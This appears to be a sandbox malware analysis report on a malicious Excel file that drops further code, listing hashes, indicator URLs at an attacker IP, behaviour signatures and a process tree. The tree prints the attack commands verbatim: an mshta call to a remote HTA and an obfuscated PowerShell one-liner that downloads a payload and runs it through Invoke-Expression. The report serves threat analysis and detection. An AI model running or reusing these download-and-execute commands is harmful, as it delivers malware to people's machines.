Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 00:58

General

  • Target
    tmp_m0bbztm.xls
  • Size 47KB
  • Sample220131-bbh49achfl
  • SHA256 b91341597e38eb73d64f050bb5102db5bc63121b0e927a00fc96d71c01acbce4
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/mm/nn/se.png

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmp_m0bbztm.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:600
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1584
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:560
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1996

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/960-54-0x000000002F531000-0x000000002F534000-memory.dmp

          memory/960-55-0x0000000070D61000-0x0000000070D63000-memory.dmp

          memory/960-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/960-57-0x0000000075D61000-0x0000000075D63000-memory.dmp

          memory/960-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1996-60-0x0000000002330000-0x0000000002331000-memory.dmp

          memory/1996-61-0x0000000002331000-0x0000000002332000-memory.dmp

          memory/1996-62-0x0000000002332000-0x0000000002334000-memory.dmp

          memory/1996-63-0x0000000004B90000-0x00000000051E1000-memory.dmp